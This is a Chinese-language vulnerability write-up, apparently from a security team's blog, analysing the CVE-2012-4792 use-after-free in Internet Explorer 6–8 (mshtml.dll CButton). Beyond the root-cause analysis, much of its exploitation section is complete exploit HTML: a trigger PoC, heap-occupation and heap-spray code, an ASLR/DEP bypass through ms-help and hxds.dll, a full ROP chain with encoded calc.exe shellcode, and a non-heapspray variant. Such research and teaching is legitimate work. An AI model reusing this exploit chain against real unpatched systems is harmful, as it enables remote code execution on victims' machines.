1.本文一共2181个字 28张图 预计阅读时间14分钟
2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载
3.本篇文章是CVE-2012-4792漏洞的分析入手 详细的阐述漏洞的成因以及如何去利用该漏洞
4.本篇文章十分适合漏洞安全研究人员进行交流学习
5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽
0x01 漏洞信息
0x01.1 漏洞简述
- 编号：CVE-2012-4792
- 类型：释放重引用(Use After Free)
- 漏洞影响：远程代码执行(RCE)
- CVSS 2.0：9.3
mshtml.dll在释放CButton对象后没有更新CDoc中Default Element对此地址引用，以致后续CElement::FindDefaultElem会重新获取此地址，传递给CMarkup::OnLoadStatusDone函数，使用已释放内存。
0x01.2 漏洞影响
Microsoft Internet Explorer 6 through 8
0x01.3 修复方案
[MS13-008]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-008
0x02 漏洞分析
0x02.1 分析环境
- OS版本：Windows 7 Service Pack 1 x86
- Internet Explorer版本：8.0.7601.17514
- mshtml.dll版本：8.0.7601.17514
- jscript.dll版本：5.8.7601.17514
0x02.2 详细分析
分析用POC：
<!doctype html>
<html>
<head>
<script>
function exploit()
{
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
//Math.tan(2,1);
e1 = document.createElement("div")
//Math.sin(2,1);
e2 = document.createElement("q");
//Math.cos(2,1);
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.innerHTML = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
}
</script>
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html>
借助Math.tan、Math.sin、Math.cos(分别对应jscript!Tan、jscript!sin、jscript!cos)及mshtml!CreateElement可观察各对象的创建。document.createElement("div")：
document.createElement("q")：
document.createElement('button')：
下面来看如何创建DOM流，跟进CElement::applyElement函数分析，其创建位于CElement::EnsureInMarkup中：
CElement::EnsureInMarkup—>CDoc::CreateMarkupWithElement—>CTreeNode::CTreeNode：
其执行情况如下：
调用CTreeNode::CTreeNode完成：
可以看出div元素(即e1)的CTreeNode—>parent初始指向CRootElement，CTreeNode类结构如下所示：
class CTreeNode
{
public:
CElement * element;
CTreeNode * parent;
BYTE _etag; // 0-7: element tag
BYTE _fFirstCommonAncestorNode : 1; // 8: for finding common ancestor
BYTE _fInMarkup : 1; // 9: this node is in a markup and shouldn't die
BYTE _fInMarkupDestruction : 1; // 10: Used by CMarkup::DestroySplayTree
BYTE _fHasLookasidePtr : 2; // 11-12 Lookaside flags
BYTE _fBlockNess : 1; // 13: Cached from format -- valid if _iFF != -1
BYTE _fHasLayout : 1; // 14: Cached from format -- valid if _iFF != -1
BYTE _fUnused : 1; // 15: Unused
SHORT _iPF; // 16-31: Paragraph Format
// DWORD 2
SHORT _iCF; // 0-15: Char Format
SHORT _iFF;
CTreePos _tpBegin;
CTreePos _tpEnd;
DWORD unknow1;
DWORD unknow2;
DWORD unknow3;
};
将CTreeNode对象地址写入Element对象偏移0x14位置处：
CMarkup::ReparentDirectChildren将q元素(即e2)的CTreeNode地址写至div元素CTreeNode—>parent中：
CElement类部分结构含义如下：
+0x10 CAttributeCollection
+0x00 The total size of the Attribute Array<<2
+0x04 Number of Attributes
+0x08 CAttrArray
+0x0c
+0x14 CTreeNode
对POC执行完e1.applyElement(e0);语句后所创建对象作一总结：
e0 Address:0x0026e4c8(Form Element)
CTreeNode Address:0x00307cb0
e1 Address:0x002db1e8(Div Element)
CTreeNode Address:0x00307af8
e2 Address:0x002dad38(Phrase Element)
CTreeNode Address:0x00307b50
button Address:0x00311b48
CTreeNode Address:0x00307ba8
对象布局如下：
下面开始漏洞分析部分。e1.appendChild(document.createElement('button'));对应函数为CElement::appendChild，对于button元素，其会执行CElement::SetDefaultElem函数，将该元素设为Default Element：
具体执行如下：
e2.innerHTML = "";会将Phrase内元素清空：
e2.appendChild(document.createElement('body'));：
CollectGarbage();对应函数为jscript!JsCollectGarbage，它会调用mshtml!PlainTrackerRelease对button元素进行释放：
但其释放结束后并未更新CDoc对象中Default Element(Offset 0x1A8)，以致后续mshtml!CElement::FindDefaultElem函数使用已释放内存，触发漏洞：
0x02.3 利用分析
0x02.3a Heapspray
首先是对已释放CButton对象内存进行占位，可通过两种方式——className与title。className：
<!doctype html>
<html>
<head>
<script>
var arr_button = new Array();
var junk=unescape("%u4141%u4141");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
function helloWorld() {
var e=document.createElement('div');
var e0 = null;
var e1 = null;
var e2 = null;
for(i =0; i < 20; i++)
{
document.createElement('button');
}
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++)
{
arr_button[i]= document.createElement("button");
arr_button[i].className= junk.substring(0,(0x58-6)/2);
}
}
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
title：
<!doctype html>
<html>
<head>
<script>
var arr_div = new Array();
var junk=unescape("%u4141%u4141");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
}
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
(注：上述两处代码均来自[用ClassName占位和title占位的分析]http://t.zoukankan.com/Lamboy-p-3866940.html)
两种方式执行流对比：
其最终都会调用_HeapAllocString，其会调用ULongAdd函数将substring传递第二个参数加1，之后乘2传递给HeapAlloc分配该数值大小堆块：
创建CButton对象时申请堆块大小为0x58，如此一来，需要修改junk.substring(0,(0x58-6)/2)为junk.substring(0,(0x58-2)/2)：
完成占位：
之后进行Heap Spray：
<!doctype html>
<html>
<head>
<script>
var arr_div = new Array();
var junk=unescape("%u0c0c%u0c0c");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
var nops=unescape("%u9090%u9090");
while(nops.length<0x1000) nops+=nops;
var code =unescape("%u4141%u4141%u4141%u4141");//can be ROP or Shellcode
var offset=0x5F4;
var junk_offset=nops.substring(0,0x5F4);
var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
while(shellcode.length<0x40000)
{
shellcode+=shellcode;
}
var block = shellcode.substring(0,0x40000);
var heap_chunks = new Array();
for (var i=1; i < 500; i++)
heap_chunks[i] = block.substring(0,0x40000);
function helloWorld()
{
var e0 = null;
var e1 = null;
var e2 = null;
try
{
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-2)/2);
}
}
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);语句中0x5F4是因为要实现Shellcode精准Heap Spray到0x0c0c0c0c位置，堆块上数据从0x0024开始，0x0c0c-0x0024=0xbe8，该值除以2即为0x5f4：
最后是Bypass ASLR&DEP。加入如下语句：
<SCRIPT language="JavaScript">
location.href = 'ms-help:'
</SCRIPT>
会加载C:\Program Files\Common Files\microsoft shared\Help\hxds.dll文件，该文件并未开启ASLR，故可利用其构造ROP链(注：该文件随Office版本不同而不同，笔者采用Office 2010进行构造)。stackpivot有两处可供使用——0x51be4a41与0x51bd29c7，最终构造Exploit如下：
<!doctype html>
<html>
<head>
<SCRIPT language="JavaScript">
location.href = 'ms-help:'
</SCRIPT>
<script>
var arr_div = new Array();
var junk=unescape("%u0b30%u0c0c");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
var nops=unescape("%u9090%u9090");
while(nops.length<0x400) nops+=nops;
while(nops.length<0x5f2) nops+=unescape("%ub30e%u51c3");
nops+=unescape("%u198c%u51be");
var code =unescape(
"%u29c7%u51bd%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd"+
"%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f"+
"%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5"+
"%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be"+
"%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5"+
"%u9090%u9090%ua8dc%u51bd"+ //ROP
"%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" + //shellcode calc.exe
"%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" +
"%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" +
"%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" +
"%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" +
"%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" +
"%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" +
"%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" +
"%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" +
"%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" +
"%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" +
"%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" +
"%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" +
"%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" +
"%ua4b3%u7851%u431a%u1bd2%u4162");
var offset=0x5F4;
var junk_offset=nops.substring(0,0x5F4);
var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
while(shellcode.length<0x40000)
{
shellcode+=shellcode;
}
var block = shellcode.substring(0,0x40000);
var heap_chunks = new Array();
for (var i=1; i < 500; i++)
heap_chunks[i] = block.substring(0,0x40000);
function helloWorld()
{
var e0 = null;
var e1 = null;
var e2 = null;
try
{
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-2)/2);
}
}
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
成功弹出计算器：
0x02.3b Non-Heapspray
来自[Happy New Year Analysis of CVE-2012-4792]http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792：
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function helloWorld()
{
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");
animvalues = "\u4141\u4141"
while(animvalues.length < 0xDC)
{
animvalues += animvalues
}
for(i = 0; i < 21; i++)
{
animvalues += ";cyan";
}
for(i =0; i < 20; i++)
{
document.createElement('button');
}
e_div.appendChild(document.createElement('button'))
e_div.firstChild.applyElement(e_form);
e_div.innerHTML = ""
e_div.appendChild(document.createElement('body'));
CollectGarbage();
try
{
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld())">
<t:ANIMATECOLOR id="myanim"/>
<div id="divelm"></div>
<form id="formelm">
</form>
</body>
</html>
0x03 参阅链接
- [CVE-2012-4792 IE 0day (CButton use after free)漏洞分析]https://www.freebuf.com/articles/system/6702.html
- [用ClassName占位和title占位的分析]http://t.zoukankan.com/Lamboy-p-3866940.html
- [CVE-2012-4792 漏洞利用学习笔记]https://blog.csdn.net/Hanxinyi930702/article/details/101457604
- [Bypassing Microsoft Windows ASLR with a little help by MS-Help]https://developer.aliyun.com/article/449548
- [一种非堆喷射的IE浏览器漏洞利用技术研究]http://netinfo-security.org/CN/article/downloadArticleFile.do?attachType=PDF&id=5535
- [Happy New Year Analysis of CVE-2012-4792]http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/
- [IE DOM 树概览]https://www.jianshu.com/p/8cd37ffe9a98